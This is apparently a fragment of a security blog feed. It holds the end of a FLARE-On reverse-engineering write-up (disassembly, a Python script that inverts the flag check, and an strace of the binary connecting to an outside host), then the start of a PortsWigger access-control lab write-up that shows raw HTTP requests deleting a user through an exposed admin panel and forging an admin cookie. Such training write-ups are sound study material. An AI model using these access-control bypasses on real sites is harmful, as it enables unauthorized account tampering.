0x00000000000000f0:  48                dec     eax
0x00000000000000f1:  83 C0 01          add     eax, 1
0x00000000000000f4:  C0 00 20          rol     byte ptr [eax], 0x20
0x00000000000000f7:  C0 00 16          rol     byte ptr [eax], 0x16
0x00000000000000fa:  80 30 AE          xor     byte ptr [eax], 0xae
0x00000000000000fd:  C0 00 98          rol     byte ptr [eax], 0x98
0x0000000000000100:  80 38 F3          cmp     byte ptr [eax], 0xf3
0x0000000000000103:  74 02             je      0x107
0x0000000000000105:  FF E3             jmp     ebx
0x0000000000000107:  48                dec     eax
0x0000000000000108:  83 C0 01          add     eax, 1
0x000000000000010b:  C0 08 6E          ror     byte ptr [eax], 0x6e
0x000000000000010e:  80 00 D2          add     byte ptr [eax], 0xd2
0x0000000000000111:  80 38 A6          cmp     byte ptr [eax], 0xa6
0x0000000000000114:  74 02             je      0x118
0x0000000000000116:  FF E3             jmp     ebx
0x0000000000000118:  48                dec     eax
0x0000000000000119:  83 C0 01          add     eax, 1
0x000000000000011c:  80 00 34          add     byte ptr [eax], 0x34
0x000000000000011f:  80 38 62          cmp     byte ptr [eax], 0x62
0x0000000000000122:  74 02             je      0x126
0x0000000000000124:  FF E3             jmp     ebx
0x0000000000000126:  48                dec     eax
0x0000000000000127:  83 C0 01          add     eax, 1
0x000000000000012a:  80 00 CD          add     byte ptr [eax], 0xcd
0x000000000000012d:  80 28 10          sub     byte ptr [eax], 0x10
0x0000000000000130:  80 00 62          add     byte ptr [eax], 0x62
0x0000000000000133:  80 30 B2          xor     byte ptr [eax], 0xb2
0x0000000000000136:  80 38 32          cmp     byte ptr [eax], 0x32
0x0000000000000139:  74 02             je      0x13d
0x000000000000013b:  FF E3             jmp     ebx
0x000000000000013d:  48                dec     eax
0x000000000000013e:  83 C0 01          add     eax, 1
0x0000000000000141:  80 30 B7          xor     byte ptr [eax], 0xb7
0x0000000000000144:  80 30 73          xor     byte ptr [eax], 0x73
0x0000000000000147:  C0 08 07          ror     byte ptr [eax], 7
0x000000000000014a:  80 38 EB          cmp     byte ptr [eax], 0xeb
0x000000000000014d:  74 02             je      0x151
0x000000000000014f:  FF E3             jmp     ebx
0x0000000000000151:  48                dec     eax
0x0000000000000152:  83 C0 01          add     eax, 1
0x0000000000000155:  80 00 34          add     byte ptr [eax], 0x34
0x0000000000000158:  80 28 61          sub     byte ptr [eax], 0x61
0x000000000000015b:  C0 08 36          ror     byte ptr [eax], 0x36
0x000000000000015e:  80 00 5B          add     byte ptr [eax], 0x5b
0x0000000000000161:  80 28 4C          sub     byte ptr [eax], 0x4c
0x0000000000000164:  80 38 0B          cmp     byte ptr [eax], 0xb
0x0000000000000167:  74 02             je      0x16b
0x0000000000000169:  FF E3             jmp     ebx
0x000000000000016b:  48                dec     eax
0x000000000000016c:  83 C0 01          add     eax, 1
0x000000000000016f:  80 00 5A          add     byte ptr [eax], 0x5a
0x0000000000000172:  80 38 9A          cmp     byte ptr [eax], 0x9a
0x0000000000000175:  74 02             je      0x179
0x0000000000000177:  FF E3             jmp     ebx
0x0000000000000179:  48                dec     eax
0x000000000000017a:  83 C0 01          add     eax, 1
0x000000000000017d:  C0 08 A2          ror     byte ptr [eax], 0xa2
0x0000000000000180:  80 38 99          cmp     byte ptr [eax], 0x99
0x0000000000000183:  74 02             je      0x187
0x0000000000000185:  FF E3             jmp     ebx
0x0000000000000187:  48                dec     eax
0x0000000000000188:  83 C0 01          add     eax, 1
0x000000000000018b:  80 30 7E          xor     byte ptr [eax], 0x7e
0x000000000000018e:  80 28 E7          sub     byte ptr [eax], 0xe7
0x0000000000000191:  80 38 2B          cmp     byte ptr [eax], 0x2b
0x0000000000000194:  74 02             je      0x198
0x0000000000000196:  FF E3             jmp     ebx
0x0000000000000198:  48                dec     eax
0x0000000000000199:  83 C0 01          add     eax, 1
0x000000000000019c:  80 28 B8          sub     byte ptr [eax], 0xb8
0x000000000000019f:  80 30 86          xor     byte ptr [eax], 0x86
0x00000000000001a2:  80 00 4E          add     byte ptr [eax], 0x4e
0x00000000000001a5:  C0 08 4A          ror     byte ptr [eax], 0x4a
0x00000000000001a8:  C0 00 57          rol     byte ptr [eax], 0x57
0x00000000000001ab:  80 38 AF          cmp     byte ptr [eax], 0xaf
0x00000000000001ae:  74 02             je      0x1b2
0x00000000000001b0:  FF E3             jmp     ebx
0x00000000000001b2:  48                dec     eax
0x00000000000001b3:  83 C0 01          add     eax, 1
0x00000000000001b6:  C0 08 86          ror     byte ptr [eax], 0x86
0x00000000000001b9:  80 30 E8          xor     byte ptr [eax], 0xe8
0x00000000000001bc:  C0 00 95          rol     byte ptr [eax], 0x95
0x00000000000001bf:  80 30 4A          xor     byte ptr [eax], 0x4a
0x00000000000001c2:  80 30 AD          xor     byte ptr [eax], 0xad
0x00000000000001c5:  80 38 C3          cmp     byte ptr [eax], 0xc3
0x00000000000001c8:  74 02             je      0x1cc
0x00000000000001ca:  FF E3             jmp     ebx
0x00000000000001cc:  48                dec     eax
0x00000000000001cd:  83 C0 01          add     eax, 1
0x00000000000001d0:  C0 08 45          ror     byte ptr [eax], 0x45
0x00000000000001d3:  80 30 CC          xor     byte ptr [eax], 0xcc
0x00000000000001d6:  80 00 1C          add     byte ptr [eax], 0x1c
0x00000000000001d9:  80 38 03          cmp     byte ptr [eax], 3
0x00000000000001dc:  74 02             je      0x1e0
0x00000000000001de:  FF E3             jmp     ebx
0x00000000000001e0:  48                dec     eax
0x00000000000001e1:  83 C0 01          add     eax, 1
0x00000000000001e4:  80 28 4A          sub     byte ptr [eax], 0x4a
0x00000000000001e7:  80 38 E3          cmp     byte ptr [eax], 0xe3
0x00000000000001ea:  74 02             je      0x1ee
0x00000000000001ec:  FF E3             jmp     ebx
0x00000000000001ee:  48                dec     eax
0x00000000000001ef:  83 C0 01          add     eax, 1
0x00000000000001f2:  80 30 A5          xor     byte ptr [eax], 0xa5
0x00000000000001f5:  C0 08 90          ror     byte ptr [eax], 0x90
0x00000000000001f8:  80 38 CA          cmp     byte ptr [eax], 0xca
0x00000000000001fb:  74 02             je      0x1ff
0x00000000000001fd:  FF E3             jmp     ebx
0x00000000000001ff:  48                dec     eax
0x0000000000000200:  83 C0 01          add     eax, 1
0x0000000000000203:  C0 08 DE          ror     byte ptr [eax], 0xde
0x0000000000000206:  C0 00 36          rol     byte ptr [eax], 0x36
0x0000000000000209:  80 30 78          xor     byte ptr [eax], 0x78
0x000000000000020c:  80 28 D8          sub     byte ptr [eax], 0xd8
0x000000000000020f:  80 38 3E          cmp     byte ptr [eax], 0x3e
0x0000000000000212:  74 02             je      0x216
0x0000000000000214:  FF E3             jmp     ebx
0x0000000000000216:  48                dec     eax
0x0000000000000217:  83 C0 01          add     eax, 1
0x000000000000021a:  80 00 B5          add     byte ptr [eax], 0xb5
0x000000000000021d:  80 28 AD          sub     byte ptr [eax], 0xad
0x0000000000000220:  C0 08 89          ror     byte ptr [eax], 0x89
0x0000000000000223:  C0 00 A2          rol     byte ptr [eax], 0xa2
0x0000000000000226:  C0 00 11          rol     byte ptr [eax], 0x11
0x0000000000000229:  80 38 D8          cmp     byte ptr [eax], 0xd8
0x000000000000022c:  74 02             je      0x230
0x000000000000022e:  FF E3             jmp     ebx
0x0000000000000230:  48                dec     eax
0x0000000000000231:  83 C0 01          add     eax, 1
0x0000000000000234:  80 00 40          add     byte ptr [eax], 0x40
0x0000000000000237:  80 28 21          sub     byte ptr [eax], 0x21
0x000000000000023a:  C0 08 C0          ror     byte ptr [eax], 0xc0
0x000000000000023d:  80 38 82          cmp     byte ptr [eax], 0x82
0x0000000000000240:  74 02             je      0x244
0x0000000000000242:  FF E3             jmp     ebx
0x0000000000000244:  48                dec     eax
0x0000000000000245:  83 C0 01          add     eax, 1
0x0000000000000248:  C0 00 E3          rol     byte ptr [eax], 0xe3
0x000000000000024b:  80 38 7B          cmp     byte ptr [eax], 0x7b
0x000000000000024e:  74 02             je      0x252
0x0000000000000250:  FF E3             jmp     ebx
0x0000000000000252:  48                dec     eax
0x0000000000000253:  83 C0 01          add     eax, 1
0x0000000000000256:  80 28 78          sub     byte ptr [eax], 0x78
0x0000000000000259:  C0 08 F6          ror     byte ptr [eax], 0xf6
0x000000000000025c:  80 38 D7          cmp     byte ptr [eax], 0xd7
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;As you can see, for each letter, there are transformations (ror, rol, xor, add, sub) applied to the letter provided. The result is then compared to an expected result. If it succeeds (expected result), the program continues and if it fails, it exits.&lt;/li&gt;
&lt;li&gt;Since we have the result of the transformations for each letter, it is possible to reverse the logic to get the initial letter. Let&apos;s take an example (letter 4). The code is as follows:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201231842.png&quot; alt=&quot;Pasted image 20260201231842.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As you can see it is character by character check so we have to make script to automate it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201233334.png&quot; alt=&quot;Pasted image 20260201233334.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This script &lt;strong&gt;reverses a byte-by-byte verification routine or decryption&lt;/strong&gt; in the binary to recover the &lt;strong&gt;correct second command-line argument&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;In short, you have to enter 2nd flag as arg2 and it will perform certain operation with each character and compare it and if succeed then proceed.&lt;/li&gt;
&lt;li&gt;So we can build flag from this operation by reverse decoding it.&lt;/li&gt;
&lt;li&gt;Script Taken from: https://www.aldeid.com/wiki/The-FLARE-On-Challenge-01/Challenge-6&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python

# source for rol and ror: http://www.falatic.com/index.php/108/python-and-bitwise-rotation
# Rotate left. Set max_bits to 8.
rol = lambda val, r_bits, max_bits=8: \
    (val &amp;lt;&amp;lt; r_bits%max_bits) &amp;amp; (2**max_bits-1) | \
    ((val &amp;amp; (2**max_bits-1)) &amp;gt;&amp;gt; (max_bits-(r_bits%max_bits)))
 
# Rotate right. Set max_bits to 8.
ror = lambda val, r_bits, max_bits=8: \
    ((val &amp;amp; (2**max_bits-1)) &amp;gt;&amp;gt; r_bits%max_bits) | \
    (val &amp;lt;&amp;lt; (max_bits-(r_bits%max_bits)) &amp;amp; (2**max_bits-1))

l = []

### Letter 1
&quot;&quot;&quot;
ror byte ptr [rax], 0xf2
cmp byte ptr [rax], 27
&quot;&quot;&quot;
l.append( rol(27, 0xf2) )

### Letter 2
&quot;&quot;&quot;
xor byte ptr [rax], 64
xor byte ptr [rax], 0xf2
xor byte ptr [rax], 0xb3
cmp byte ptr [rax], 48
&quot;&quot;&quot;
l.append( 48 ^ 0xb3 ^ 0xf2 ^ 64 )

### Letter 3
&quot;&quot;&quot;
xor byte ptr [rax], 113
cmp byte ptr [rax], 31
&quot;&quot;&quot;
l.append( 31 ^ 113 )

### letter 4
&quot;&quot;&quot;
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0
&quot;&quot;&quot;
l.append( rol(0xb0, 0xbc) - 0xa3 )

### letter 5
&quot;&quot;&quot;
sub byte ptr [rax], 121
cmp byte ptr [rax], 0xe8
&quot;&quot;&quot;
l.append( 0xe8 + 121 )

### letter 6
&quot;&quot;&quot;
ror byte ptr [rax], 0x82
sub byte ptr [rax], 40
cmp byte ptr [rax], 0xf6
&quot;&quot;&quot;
l.append( rol(0xf6 + 40, 0x82) )

### letter 7
&quot;&quot;&quot;
sub byte ptr [rax], 0xb0
ror byte ptr [rax], 77
add byte ptr [rax], 44
cmp byte ptr [rax], 31
&quot;&quot;&quot;
l.append( rol(31 - 44, 77) + 0xb0 )

### letter 8
&quot;&quot;&quot;
add byte ptr [rax], 84
rol byte ptr [rax], 0x99
xor byte ptr [rax], 0xb8
ror byte ptr [rax], 42
add byte ptr [rax], 63
cmp byte ptr [rax], 0xaf
&quot;&quot;&quot;
l.append( ror(rol(0xaf - 63, 42) ^ 0xb8, 0x99) - 84 )

### letter 9
&quot;&quot;&quot;
ror byte ptr [rax], 0xba
cmp byte ptr [rax], 93
&quot;&quot;&quot;
l.append( rol(93, 0xba) )

### letter 10
&quot;&quot;&quot;
xor byte ptr [rax], 0xed
ror byte ptr [rax], 108
add byte ptr [rax], 48
cmp byte ptr [rax], 41
&quot;&quot;&quot;
l.append( rol(41 - 48, 108) ^ 0xed )

### letter 11
&quot;&quot;&quot;
sub byte ptr [rax], 0xbf
cmp byte ptr [rax], 0xb5
&quot;&quot;&quot;
l.append( 0xb5 + 0xbf )

### letter 12
&quot;&quot;&quot;
rol byte ptr [rax], 0xbc
add byte ptr [rax], 0x8c
rol byte ptr [rax], 123
sub byte ptr [rax], 49
add byte ptr [rax], 99
cmp byte prt [rax], 0xa5
&quot;&quot;&quot;
l.append( ror(ror(0xa5 - 99 + 49, 123) - 0x8c, 0xbc) )

### letter 13
&quot;&quot;&quot;
rol byte ptr [rax], 32
rol byte ptr [rax], 22
xor byte ptr [rax], 0xae
rol byte ptr [rax], 0x98
cmp byte ptr [rax], 0xf3
&quot;&quot;&quot;
l.append( ror(ror(ror(0xf3, 0x98) ^ 0xae, 22), 32) )

### letter 14
&quot;&quot;&quot;
ror byte ptr [rax], 110
add byte ptr [rax], 0xd2
cmp byte ptr [rax], 0xa6
&quot;&quot;&quot;
l.append( rol(0xa6 - 0xd2, 110) )

### letter 15
&quot;&quot;&quot;
add byte ptr [rax], 52
cmp byte ptr [rax], 98
&quot;&quot;&quot;
l.append( 98 - 52 )

### letter 16
&quot;&quot;&quot;
add byte ptr [rax], 0xcd
sub byte ptr [rax], 16
add byte ptr [rax], 98
xor byte ptr [rax], 0xb2
cmp byte ptr [rax], 50
&quot;&quot;&quot;
l.append( (50 ^ 0xb2) - 98 + 16 - 0xcd )

### letter 17
&quot;&quot;&quot;
xor byte ptr [rax], 0xb7
xor byte ptr [rax], 115
ror byte ptr [rax], 7
cmp byte ptr [rax], 0xeb
&quot;&quot;&quot;
l.append( rol(0xeb, 7) ^ 115 ^ 0xb7 )

### letter 18
&quot;&quot;&quot;
add byte ptr [rax], 52
sub byte ptr [rax], 97
ror byte ptr [rax], 54
add byte ptr [rax], 91
sub byte ptr [rax], 76
cmp byte ptr [rax], 11
&quot;&quot;&quot;
l.append( rol(11 + 76 - 91, 54) + 97 - 52 )

### letter 19
&quot;&quot;&quot;
add byte ptr [rax], 90
cmp byte ptr [rax], 0x9a
&quot;&quot;&quot;
l.append( 0x9a - 90 )

### letter 20
&quot;&quot;&quot;
ror byte ptr [rax], 0xa2
cmp byte ptr [rax], 0x99
&quot;&quot;&quot;
l.append( rol(0x99, 0xa2) )

### letter 21
&quot;&quot;&quot;
xor byte ptr [rax], 126
sub byte ptr [rax], 0xe7
cmp byte ptr [rax], 43
&quot;&quot;&quot;
l.append( (43 + 0xe7) ^ 126 )

### letter 22
&quot;&quot;&quot;
sub byte ptr [rax], 0xb8
xor byte ptr [rax], 0x86
add byte ptr [rax], 78
ror byte ptr [rax], 74
rol byte ptr [rax], 87
cmp byte ptr [rax], 0xaf
&quot;&quot;&quot;
l.append( ((rol(ror(0xaf, 87), 74) - 78) ^ 0x86) + 0xb8 )

### letter 23
&quot;&quot;&quot;
ror byte ptr [rax], 0x86
xor byte ptr [rax], 0xe8
rol byte ptr [rax], 0x95
xor byte ptr [rax], 74
xor byte ptr [rax], 0xad
cmp byte ptr [rax], 0xc3
&quot;&quot;&quot;
l.append( rol(ror(0xc3 ^ 0xad ^ 74, 0x95) ^ 0xe8, 0x86) )

### letter 24
&quot;&quot;&quot;
ror byte ptr [rax], 69
xor byte ptr [rax], 0xcc
add byte ptr [rax], 28
cmp byte ptr [rax], 3
&quot;&quot;&quot;
l.append( rol((3 - 28) ^ 0xcc, 69) )

### letter 25
&quot;&quot;&quot;
sub byte ptr [rax], 74
cmp byte ptr [rax], 0xe3
&quot;&quot;&quot;
l.append( 0xe3 + 74 )

### letter 26
&quot;&quot;&quot;
xor byte ptr [rax], 0xa5
ror byte ptr [rax], 0x90
cmp byte ptr [rax], 0xca
&quot;&quot;&quot;
l.append( rol(0xca, 0x90) ^ 0xa5 )

### letter 27
&quot;&quot;&quot;
ror byte ptr [rax], 0xde
rol byte ptr [rax], 54
xor byte ptr [rax], 120
sub byte ptr [rax], 0xd8
cmp byte ptr [rax], 62
&quot;&quot;&quot;
l.append( rol(ror((62 + 0xd8) ^ 120, 54), 0xde) )

### letter 28
&quot;&quot;&quot;
add byte ptr [rax], 0xb5
sub byte ptr [rax], 0xad
ror byte ptr [rax], 0x89
rol byte ptr [rax], 0xa2
rol byte ptr [rax], 17
cmp byte ptr [rax], 0xd8
&quot;&quot;&quot;
l.append( rol(ror(ror(0xd8, 17), 0xa2), 0x89) + 0xad - 0xb5 )

### letter 29
&quot;&quot;&quot;
add byte ptr [rax], 64
sub byte ptr [rax], 33
ror byte ptr [rax], 0xc0
cmp byte ptr [rax], 0x82
&quot;&quot;&quot;
l.append( rol(0x82, 0xc0) + 33 - 64 )

### letter 30
&quot;&quot;&quot;
rol byte ptr [rax], 0xe3
cmp byte ptr [rax], 123
&quot;&quot;&quot;
l.append( ror(123, 0xe3) )

### letter 31
&quot;&quot;&quot;
sub byte ptr [rax], 120
ror byte ptr [rax], 0xf6
cmp byte ptr [rax], 0xd7
&quot;&quot;&quot;
l.append( rol(0xd7, 0xf6) + 120 )

# modulo 256 applied to ensure values are in range(256)
print &apos;&apos;.join([chr(i % 256) for i in l])
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ python2 solve.py
l1nhax.hurt.u5.a1l@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After giving flag as arg2 it is trying to connect with the some host, maybe try to mimic like a C2 server,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched2 4815162342 l1nhax.hurt.u5.a1l@flare-on.com

[00007e36940de557] execve(&quot;./e7bc5d2c0cf4480348f5504196561297.patched2&quot;, [&quot;./e7bc5d2c0cf4480348f55041965612&quot;..., &quot;4815162342&quot;, &quot;l1nhax.hurt.u5.a1l@flare-on.com&quot;], 0x7fffd1dd75e8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname=&quot;Linux&quot;, nodename=&quot;DESKTOP-VRSQRAJ&quot;, ...}) = 0
[00000000004aa78a] brk(NULL)            = 0x4913000
[00000000004aa78a] brk(0x49141c0)       = 0x49141c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x4913880) = 0
[00000000004aa78a] brk(0x49351c0)       = 0x49351c0
[00000000004aa78a] brk(0x4936000)       = 0x4936000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[00007fff1a8fc114] socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
[00007fff1a8fc140] connect(3, {sa_family=AF_INET, sin_port=htons(39426), sin_addr=inet_addr(&quot;9.30.75.86&quot;)}, 16
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is our flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;l1nhax.hurt.u5.a1l@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the flow of this program. (There might be some inaccuracy or mistake so sorry for that in advance because i am a leaner like you. 😅)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202005044.png&quot; alt=&quot;Pasted image 20260202005044.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PortsWigger Access Control Vulnerabilities Labs - November 2025</title><link>https://fuwari.vercel.app/posts/portswigger-access-control-vulnerabilities/access-control-vulnerabilities/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/portswigger-access-control-vulnerabilities/access-control-vulnerabilities/</guid><description>Writeup of Access Control Vulnerabilities.</description><pubDate>Thu, 20 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Access Control Vulnerabilities&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232127.png&quot; alt=&quot;Pasted image 20251117232127.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access control is the application of constraints on who or what is authorized to perform actions or access resources. In the context of web applications, access control is dependent on authentication and session management:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authentication&lt;/strong&gt; confirms that the user is who they say they are.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session management&lt;/strong&gt; identifies which subsequent HTTP requests are being made by that same user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access control&lt;/strong&gt; determines whether the user is allowed to carry out the action that they are attempting to perform.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Broken access controls are common and often present a critical security vulnerability. Design and management of access controls is a complex and dynamic problem that applies business, organizational, and legal constraints to a technical implementation. Access control design decisions have to be made by humans so the potential for errors is high.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1: Unprotected admin functionality&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232313.png&quot; alt=&quot;Pasted image 20251117232313.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To solve the lab we have to delete the user &lt;code&gt;carlos&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;So i just try to look at &lt;code&gt;robots.txt&lt;/code&gt; and i found,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator-panel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232605.png&quot; alt=&quot;Pasted image 20251117232605.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So we can go in this page delete the user &lt;code&gt;carlos&lt;/code&gt; and solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232727.png&quot; alt=&quot;Pasted image 20251117232727.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /administrator-panel/delete?username=carlos HTTP/1.1
Host: 0ab500d003e965c580818a9b00050039.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab500d003e965c580818a9b00050039.web-security-academy.net/administrator-panel
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=qPY5IBPdN6VLb2HqlU538eZ407hst2GU
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232743.png&quot; alt=&quot;Pasted image 20251117232743.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 2: Unprotected admin functionality with unpredictable&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232837.png&quot; alt=&quot;Pasted image 20251117232837.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To Solve the lab by accessing the admin panel, and using it to delete the user &lt;code&gt;carlos&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;So to find unpredicted path i visited the &lt;code&gt;view-sorce&lt;/code&gt; of website and i found this js,
&lt;ul&gt;
&lt;li&gt;In which the path leaked so we go there and delete the user and we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName(&quot;top-links&quot;)[0];
   var adminPanelTag = document.createElement(&apos;a&apos;);
   adminPanelTag.setAttribute(&apos;href&apos;, &apos;/admin-wd4zsz&apos;);
   adminPanelTag.innerText = &apos;Admin panel&apos;;
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement(&apos;p&apos;);
   pTag.innerText = &apos;|&apos;;
   topLinksTag.appendChild(pTag);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117233111.png&quot; alt=&quot;Pasted image 20251117233111.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117233159.png&quot; alt=&quot;Pasted image 20251117233159.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117233216.png&quot; alt=&quot;Pasted image 20251117233216.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 3: User role controlled by request parameter&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117233306.png&quot; alt=&quot;Pasted image 20251117233306.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab has an admin panel at &lt;code&gt;/admin&lt;/code&gt;, which identifies administrators using a forgeable cookie.&lt;/li&gt;
&lt;li&gt;Solve the lab by accessing the admin panel and using it to delete the user &lt;code&gt;carlos&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We can log in to our own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;So to see cookie we have to see login req, here it is&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /my-account?id=wiener HTTP/1.1
Host: 0a7000d4037f65ad80b399c400510047.web-security-academy.net
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Referer: https://0a7000d4037f65ad80b399c400510047.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: Admin=false; session=JR0YqIvOVYRdKXAwl6OkqxKfY7kUBmAx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;As we can see &lt;code&gt;Admin variable set to false&lt;/code&gt; so if we make is &lt;code&gt;true&lt;/code&gt; then we login as login,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117233831.png&quot; alt=&quot;Pasted image 20251117233831.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
